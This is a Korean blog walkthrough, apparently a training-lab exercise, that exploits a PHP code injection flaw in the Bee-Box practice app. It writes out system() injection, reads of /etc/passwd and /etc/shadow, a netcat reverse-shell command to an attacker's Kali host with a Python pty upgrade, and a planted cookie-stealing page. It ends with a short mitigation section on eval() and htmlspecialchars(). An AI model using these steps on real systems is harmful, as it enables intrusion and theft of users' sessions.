일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 메소드
- sql injection
- 파이썬
- 조건문
- github
- burp suite
- jQuery
- xss game 풀이
- 포인터
- 김성엽 대표님
- 객체
- 백준 파이썬
- property
- lord of sql injection
- element 조회
- IF문
- 함수
- window
- xss game
- document
- python
- htmlspecialchars
- 사칙연산
- Pwndbg
- 배열
- 백준 알고리즘
- blind sql injection
- object
- suninatas 풀이
- 자바스크립트
- Today
- Total
power-girl0-0
PHP 코드 인젝션 ( PHP Code Injection ) 본문
1. 해당 페이지는 message를 누를 경우 test 문자가 출력되는 페이지이다.
2. 파라미터를 확인하니 get방식인 것을 확인 할 수 있다.
3. message변수안에 값을 바꿔도 출력되는지 확인해보겠다.
test 대신 Hello값을 입력하여 전송한 결과 출력되는 값이 바뀌는 것을 확인할 수 있다.
4. php 취약점이 있는지 확인하기 위해 세미콜론(;)를 사용하여 system()함수에 ls를 넣어 파일목록을 출력해보겠다.
- PHP 취약점
: exec()함수 또는 eval()함수를 사용할 경우 세미콜론(;)을 사용하여 다른 함수를 실행할 수 있는 취약점을 갖고 있다.
- exec() : 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
- eval() : eval함수 안에 있는 php코드를 실행시켜준다.
- system() : 문자열 형태의 명령어를 인자값으로 받아서 실행시켜주는 함수이다.
* system()함수 대신 shell_exec()함수를 사용할 수 있다.
전송결과 ls 명령어를 실행시켜 파일목록을 출력해준다.
5. 그렇다면 상위 권한의 사용자가 접근할 수 있는 파일도 출력할 수 있는지 확인해보도록 하겠다.
(1) 먼저 system함수에 웹서버 권한도 갖고 있는 cat /etc/passwd를 입력하여 명령어가 잘 사용되는지 확인해 보았다.
명령어가 잘 출력되는 것을 확인할 수 있다.
(2) 이번에는 system함수에 cat /etc/shadow를 입력해서 상위 권한의 출력도 가능한지 확인해보았다.
해당 페이지는 명령어가 실행되지 않음을 확인할 수 있다.
따라서 현재 웹 권한을 가지고 있고 상위 권한의 사용자만 접근가능한 파일의 경우에는 출력되지 않는 것을 알 수 있다.
6. 넷캣을 이용하여 악의적인 스크립트 파일을 추가해보겠다.
* 넷캣에 대한 글은 이전 글인 OS command injection에 설명되어있다.
2020/09/17 - [웹해킹/Bee-Box] - OS 커맨드 인젝션 ( OS Command Injection )
(1) nc -l -p 명령어를 사용하여 7777번 포트를 listen모드로 열어주고 넷캣을 실행한다.
(2) Bee-box와 kali를 넷캣을 이용하여 연결한다.
- 명령어 : nc <kali ip와 포트> -e /bin/bash
(3) 넷캣으로 연결될 때까지 페이지는 로딩상태가 되고 이때, Kali로 돌아가면 비박스인 서버정보를 확인할 수 있다.
(4) 넷캣으로 셸을 사용할 때는 프롬프트가 없고 vi편집기를 사용할 수 없기 때문에 'pseudo-terminal'을 사용하는
명령어를 입력해준다. ( 파이썬의 pty 모듈을 통해 pseudo 터미널을 생성 )
* PTY : pseudo-terminal, 가상터미널
- 명령어 : python -c 'import pty;pty.spawn("/bin/bash")'
① python -c : 명령이 CLI( Command Line Interface )에서 실행하도록 하는 옵션이다.
② import pty; : pty모듈을 import해준다.
③ pty.spawn("/bin/bash") : spawn함수를 통해 /bin/bash를 실행시킨다.
(5) 이제 공격하기 위해 bee-box 서버에 악의적인 파일을 만들고 작성하였다.
- 쿠키값을 얻어오는 스크립트사용
(6) 생성한 attack.html파일에 접속하면 사용자의 쿠키값이 경고창으로 뜨는 것을 확인할 수 있다.
해당 방법과 같이 쿠키 정보 뿐만 아니라 피싱을 위한 조작된 페이지나 악성코드가 실행되는 페이지도 작성할 수 있다.
대응방안
먼저 소스를 분석해 보았다.
해당 소스를 보니 eval()함수를 사용하여 발생한 취약점인 것을 알 수 있다.
소스를 살펴보니 medium과 high단계에서는 htmlspecialchars()함수로 우회한다는 것을 알 수 있습니다.
htmlspecialchars()는 두번째 인자에 'ENT_QUOTES'를 추가하여 크로스 사이트스크립팅에 사용하는 특수문자를 HTML 엔티티 코드로 변환한다. ( &, ", ', <, > )
'웹해킹 > Bee-Box' 카테고리의 다른 글
SQL 인젝션(GET/Search) (0) | 2020.12.15 |
---|---|
SSI Injection ( Sever-Side-Includes Injection ) (0) | 2020.09.17 |
OS 커맨드 인젝션 ( OS Command Injection ) (0) | 2020.09.17 |
iFrame Injection (0) | 2020.09.16 |
HTML 인젝션 - 저장기법(Blog) (0) | 2020.09.16 |